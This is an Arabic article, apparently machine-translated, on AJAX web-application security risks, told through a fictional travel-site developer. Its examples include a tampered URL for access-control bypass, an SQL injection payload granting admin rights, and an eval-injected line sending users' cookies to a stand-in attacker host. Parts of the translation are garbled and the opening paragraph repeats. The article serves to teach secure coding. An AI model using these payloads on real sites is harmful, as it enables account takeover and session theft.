لن يلاحظ مطورو الويب الإثارة التي يجلبها "AJAX (JavaScript غير المتزامن وXML)". يعد إنشاء مواقع الويب الذكية مثل Google Suggest أو التطبيقات المستندة إلى الويب مثل Gmail أمرًا سهلاً، ويعود الفضل في ذلك إلى حد كبير إلى هذه التكنولوجيا. ومع ذلك، مع تطور تطبيقات AJAX، اكتشفنا بعض عيوبها، ووجدنا أن ثغراتها الأمنية تتسع تدريجيًا، تمامًا مثل وضع الموقع القائم على AJAX ببطء في قنبلة موقوتة. لن يلاحظ مطورو الويب الإثارة التي يجلبها "AJAX (JavaScript غير المتزامن وXML)". يعد إنشاء مواقع الويب الذكية مثل Google Suggest أو التطبيقات المستندة إلى الويب مثل Gmail أمرًا سهلاً، ويعود الفضل في ذلك إلى حد كبير إلى هذه التكنولوجيا. ومع ذلك، مع تطور تطبيقات AJAX، اكتشفنا بعض عيوبها، ووجدنا أن ثغراتها الأمنية تتسع تدريجيًا، تمامًا مثل وضع الموقع القائم على AJAX ببطء في قنبلة موقوتة.
فوائد أجاكس
في الأيام الخوالي لـ "تطبيقات الويب"، كانت الأمور بسيطة جدًا. تقوم بملء النموذج، ثم النقر فوق الزر "إرسال"، وتختفي الشاشة الحالية، وتنتظر لفترة قصيرة قبل أن يتم نقلك إلى الصفحة التالية. لم يعد هذا هو الحال اليوم، ما يريده المستخدمون هو تجربة ويب تتسم بالسلاسة والسرعة وسهولة الاستخدام مثل أي تطبيق سطح مكتب.
يعمل AJAX غالبًا مع DHTML (HTML الديناميكي)، ويتطلب تنفيذه السلس السماح لرمز JavaScript الموجود في صفحة الويب وخادم الويب بالتواصل بسلاسة في الخلفية. على سبيل المثال، عندما تبدأ بكتابة شيء ما في مربع بحث Google Suggest، تبدأ صفحة الويب والخادم في تبادل البيانات في الخلفية، وبعد ذلك سيتم تقديم بعض المصطلحات التي قد تحتاجها. كل هذا دون الحاجة إلى تحديث الصفحة أو الضغط على أي أزرار. ولهذا السبب أيضًا تقوم تطبيقات مثل Gmail بعمل جيد من خلال التدقيق الإملائي في الوقت الفعلي.
كيف يعمل أجاكس
إن المبادئ المعقدة لـ AJAX تقع خارج نطاق ما أريد أن أشرحه اليوم، لذلك سأصفها هنا بإيجاز فقط. يمكن لرمز JavaScript الموجود على صفحتك الاتصال بخادم الويب الخاص بك دون الاعتماد على المستخدم. الدور الأساسي هنا هو كائن XMLHttpRequest الخاص بـ JavaScript، والذي يمكن تشغيله في الخلفية أو بشكل غير متزامن من خلال أحداث مثل ضغطات مفاتيح المستخدم أو أحداث الساعة (أي مصطلح JavaScript وXML غير المتزامن).
إذا كتبت "ajax" في Google Suggest، فسوف تحصل على طلب خادم مثل الطلب الذي تلقيته بعد الكتابة:
1. www.google.com/complete/search?hl=ar&js=true&qu=aj
2. www.google.com/complete/search?hl=ar&js=true&qu=aja
3. www.google.com/complete/search?hl=ar&js=true&qu=ajax
جزء XML من هذه المصطلحات مضلل بعض الشيء؛ فهو في الواقع ليس له أي معنى. يحصل على اسمه من كائن JavaScript، والعديد من تطبيقات نمط AJAX تستخدم XML، والتي يمكنها تقديم طلب إلى الخادم لأي معاملة. حتى كود JavaScript نفسه يمكن استرجاعه وتقييمه. سيؤدي الاستمرار في إكمال إدخالي لـ "مثال ajax" إلى الاستجابة التالية من خوادم Google:
sendRPCDone(frameElement, "ajax example, new Array("ajax example", "ajax example"), new Array("153,000 نتيجة", "177,000 نتيجة"), new Array(""));
من المفترض أن يعطيك هذا تلميحًا حول قوة AJAX، مع قدرته على إضافة تعليمات برمجية JavaScript جديدة إلى المتصفح بسرعة. ومع ذلك، يبدو أن النهج الأمثل هو ربط بروتوكول XML. على سبيل المثال، قامت شركة جوجل بإنتاج ما يلي:
مثال اياكس
153,000
أمثلة اياكس
177,000
من الواضح أنه يمكنك تحليل بيانات XML هذه في نموذج مناسب، ولكن علينا أن نشكر JavaScript لقدرتها على التعامل مع كائنات XML بشكل جيد جدًا في ظل بعض القيود النموذجية جدًا والكثير من أخطاء IE السيئة.
من أجل مساعدتك على فهم بعض مشكلات Ajax، أنا هنا لأقدم لك شركة سفر خيالية - "Times Cutting Edge Travel Company". بسبب خطأ AJAX، قرر مطور الويب الرئيسي، Max Uptime، دمج AJAX لإنشاء تطبيق مثل هذا، وبهذه الطريقة، كان متقدمًا.
مشكلة اجاكس
أكثر من نصف المخاطر الأمنية لـ AJAX تأتي من نقاط الضعف المخفية في الخادم. من الواضح أن التصميم الجيد باستخدام تقنيات التشفير الآمنة يقطع شوطًا طويلًا نحو جعل AJAX أكثر أمانًا، وعلينا أن نشكر ماكس على معرفته بقائمة أسوأ 10 ثغرات أمنية في مشروع أمان تطبيقات الويب المفتوحة (OWASP) ( www. owasp.org ). لسوء الحظ، عندما قام ماكس بتطبيق AJAX، كان لا يزال يتعين عليه مواجهة عدد من العوامل الإضافية:
1. التكنولوجيا الجديدة: إذا أراد ماكس ربط موقعه بقاعدة بيانات SQL، فقد وجد ملايين الأمثلة على جوجل. تكنولوجيا AJAX، بغض النظر عن مدى حداثة هذه التكنولوجيا، فإنها لا تزال مبكرة نسبيًا في دورة الشراء، على الرغم من ظهور عدد قليل فقط من الأمثلة الجيدة عليها على الويب. من أجل حل بعض المشاكل المعقدة الصعبة وغير الضرورية، يتطلب ذلك من المطورين مثل Max أن يتطوروا بشكل مستقل. سيتعين على ماكس كتابة تعليمات برمجية من جانب الخادم والعميل، وإنشاء بروتوكولات لم يكن متأكدًا منها (خاصة لاستجابات الخادم). ومهما كانت هذه الاتفاقيات جيدة، فإنها سوف تنعكس على الصفحة في الوقت المناسب.
2. التصميم غير التقليدي: يختلف AJAX قليلاً عن التصميم التقليدي لأن مثل هذا التطبيق عبارة عن نصف عميل ونصف خادم. في حالة ماكس، فهو المطور الوحيد، لذا يمكنه البرمجة لكل من الخادم والعميل. التطوير بلغتين مختلفتين في نفس الوقت (خاصة في المراحل المبكرة) سيخلق بعض الأخطاء البرمجية البدائية لأنه سيقفز ذهابًا وإيابًا بين طرفين قد لا يعمل بكفاءة على الطرف الآخر . حتى لو كان لدى Max فريق تطوير كبير، فقد تنشأ مسؤوليات الترميز الأمني عندما يتم تسليم التعليمات البرمجية بين فرق تطوير الخادم والعميل.
3. عدد كبير جدًا من لغات البرمجة النصية: استخدم ماكس براعته الخاصة ليقرر إنشاء أفضل أداة لتسجيل الوصول أثناء السفر في العالم. تبدأ التسجيل عن طريق إدخال موقعك الحالي (عبر الرمز البريدي، ورمز منطقة الهاتف، ونظام تحديد المواقع العالمي (GPS)، وما إلى ذلك) ويتم إرسال طلب AJAX على الفور لتحديد موقعك الدقيق. من تلك النقطة فصاعدًا، يتم ملء الشاشة بجميع خيارات السفر المتاحة لك، كل ذلك قبل أن تقرر المكان الذي تريد الذهاب إليه، ومتى تريد المغادرة ومع من تريد الذهاب.
جميع الخلايا وعناصر التحكم الموجودة على هذه الشاشة تعتمد على AJAX، وقد تتطلب البرامج النصية من جانب الخادم والعميل أكثر من 20 استدعاءًا مختلفًا للخادم. يمكنك تخيل برنامج خادم فردي صغير، مثل findairportsbylocation.aspx أوتحديدmaxbaggageallowancebyairline.php.
أصبح من الواضح أنه بدون تخطيط ماكس الدقيق (مثل إنشاء وظائف جافا سكريبت "مثقلة" متعددة الاستخدامات ونصوص الخادم)، لكان قد أنشأ أكثر من 40 قطعة منفصلة لكل تصميم. المزيد من البرمجة يعني المزيد من الأخطاء والأخطاء، مما يعني المزيد من الوقت في كتابة التعليمات البرمجية وإدارتها واختبارها وتحديثها. ليس هذا فحسب، ولكن نظرًا للعدد الكبير من هذه البرامج النصية المستخدمة في تعليمات JavaScript البرمجية من جانب العميل، فإنها تميل أيضًا إلى النسيان أثناء اختبار البرنامج الرسمي.
4. تأكد من أن كمية صغيرة من AJAX لن تسبب ضررًا: هذا الموقع هو موقع للتخطيط لرحلة، لكن ماكس يعتقد أنه سيوفر لك على الفور عرضًا عبر القمر الصناعي يوضح الموقع الدقيق والظروف الجوية لوجهتك متاح لك أيضا. أحد الإغراءات الرائعة لـ AJAX هو أنها تبدو وكأنها تفعل شيئًا آخر حتى اللحظة الأخيرة، مثل وجود معلق يشرح، باستخدام AJAX من أجل AJAX. عندما يبدأ ماكس في تجربة أفكاره الجديدة، سيحاول تدريجيًا إضافة المزيد من الميزات الجديدة، متجاهلاً تمامًا الحاجة إلى الاختبار.
5. الاتصال غير الآمن: قد تؤدي كل مكالمة AJAX إلى إرجاع كمية صغيرة فقط من البيانات إلى العميل، ولكن هذه البيانات خاصة وسرية. يمكن لـ Max كتابة أداة مفيدة للتحقق رقميًا من أرقام بطاقتك الائتمانية، ولكن ماذا لو كنت تستخدم نصًا عاديًا بدلاً من ذلك عبر SSL لإرسال البيانات، إنه سؤال واضح، ولكن عندما يكون هناك العديد من الإجراءات التي يجب مراعاتها، خاصة عندما تكون الـ 99٪ الأخرى من البيانات التي تظهر على الشاشة ليست بيانات سرية حقًا، ومن السهل تجاهل SSL.
6. التحكم في الوصول من جانب الخادم: غالبًا ما يؤدي استخدام برامج JavaScript لتشغيل AJAX إلى إخفاء بعض أخطاء الترميز الواضحة، وهو أحد الأمثلة. لنفترض أن ماكس يريد أن يقدم لك فندقك المفضل بناءً على الوجهة التفصيلية التي زرتها في المرة الأخيرة، وقد يبدو على النحو التالي:
showprevioushotels.aspx?userid=12345&destination=UK
وهذا بالطبع جيد جدًا، ولكن ماذا لو قام مستخدم ضار بتغيير عنوان URL إلى شيء مثل هذا:
showprevioushotels.aspx?userid=12346&destination=%
هل سيحصلون على الفنادق المفضلة لدى الأشخاص الآخرين (ملاحظة: % هو حرف بدل في عبارة SQL). مما لا شك فيه أن هذا مثال غير ضار، ولكن يجب على Max استخدام الجلسات أو ملفات تعريف الارتباط أو الرموز المميزة الأخرى لضمان إمكانية إرسال البيانات إلى المستخدم الصحيح فقط. قد تكون مجرد جزء صغير من البيانات، لكنها قد تكون الجزء الأكثر أهمية.
7. التحقق من جانب الخادم: هناك في الواقع مشكلتان هنا. أولاً، غالبًا ما تُستخدم عناصر تحكم AJAX للتحقق من صحة إدخال المستخدم قبل الإرسال النهائي إلى الخادم. يؤدي هذا إلى إصابة ماكس بالشلل ويمنحه إحساسًا زائفًا بالأمان لأنه يقوم بإعداد وظيفة تسمىallowdestinations.php التي تحدد الوجهة الصحيحة للمستخدم بناءً على هويته.
نظرًا لأن هذا فحص من جانب الخادم، فلا داعي للقلق بشأن إجراء الفحص على الخادم مرة أخرى عندما يتم إرسال الصفحة أخيرًا. نحن نفترض أنه لا يمكن لأي مستخدم ضار أن يفسد الاستجابة منallowdestinations.php أو تدمير الطلب النهائي الطلب.
يمكن لعناصر تحكم AJAX التحقق من صحة إدخال المستخدم بعناية أكبر من المستخدم نفسه، لكنها لا تزال تقوم في كثير من الأحيان بالتحقق النهائي على الخادم.
المشكلة الثانية في التحقق من صحة AJAX هي أن عنصر التحكم نفسه يخضع لثغرات أمنية في التحقق من الصحة. مرة أخرى، غالبًا ما تكون عناوين URL مخفية، لذلك غالبًا ما يتم نسيانها. على سبيل المثال، ربما يمكنني استخدام SQL حقن لمهاجمة البرنامج النصي الآن، على النحو التالي:
showprevioushostels.aspx?userid='; تحديث مجموعة المستخدمين type='admin' حيث معرف المستخدم=12345;--
سيسمح لي بتسجيل الدخول باستخدام حقوق مسؤول النظام. بالطبع، كيفية الحصول على أسماء الجداول وأسماء الحقول هذه خارج نطاق هذه المقالة، لكنك تعرف هذا الموقف بالفعل، أليس كذلك؟
8. التحقق من جانب العميل: نحن نعلم بالفعل أنه في مثال Google Suggest الآن، من الممكن إنشاء وظائف JavaScript وتنفيذها ديناميكيًا ببساطة عن طريق تقييم الاستجابة من جانب الخادم. بدون أي شكل من أشكال التحقق (والذي سيكون من الصعب ضمان الموثوقية والطلاقة من جانب العميل)، سيقوم العميل ببساطة بما يطلبه الخادم منه.
في هذه الحالة، نظرًا لأن التنفيذ الفعلي للتعليمات البرمجية لا يكون مرئيًا أبدًا للمستخدم العادي (أي لا يمكنك "عرض المصدر")، فمن المحتمل أن يفتح مسار هجوم كامل لدليل المتسللين الضارين. إذا كان يتم التلاعب باستجابة الخادم باستمرار (سواء على خادم الويب نفسه أو أثناء نقل البيانات)، فسيكون من الصعب اكتشاف هذا الهجوم.
يستخدم Max الاستجابة التالية لتحديث أيقونة الطقس على صفحة الويب الوجهة. الوظيفة التي يستخدمها هي وظيفة eval():
updateWeatherIcon('cloudy.gif');
ومع ذلك، يمكن للمتسلل الخبيث تغيير هذه الوظيفة إلى الشكل التالي، مما يجعل اكتشاف الهجوم أكثر صعوبة:
updateWeatherIcon('www.myhackingsite.ru/grab.aspx?c=' + document.cookies updateWeatherIcon('cloudy.gif');
نحن الآن قادرون على تتبع معرف الجلسة/ملف تعريف الارتباط لكل مستخدم على خوادمنا الخاصة.
ملخص
ليس هناك شك في أن تقنيات AJAX وأسلوب AJAX هي الطريق المشرق لتصميم الويب. يمكن للمطورين إنشاء "تطبيقات" حقيقية على الويب لم يكن ذلك ممكنًا من قبل، ولكن يجب توخي الحذر عند استخدام AJAX لضمان أمان موقع الويب.
ومع ذلك، فإن أحد أكبر التهديدات يأتي من البرامج النصية المتطورة من جانب العميل والبرامج النصية من جانب الخادم التي تستخدم AJAX. يتم إخفاء هذه البرامج النصية عن الأنظار بوسائل تقنية، مما يجعل الاختبار غير بديهي، وفي الوقت نفسه، يبدو أن هذه التكنولوجيا الجديدة تجعل مطوري الويب ينسون أساسيات البرمجة الجيدة. لم تختف مشكلات مثل التحكم في الوصول والتحقق من صحة الإدخال، بل أصبحت أكثر عددًا وتعقيدًا.
-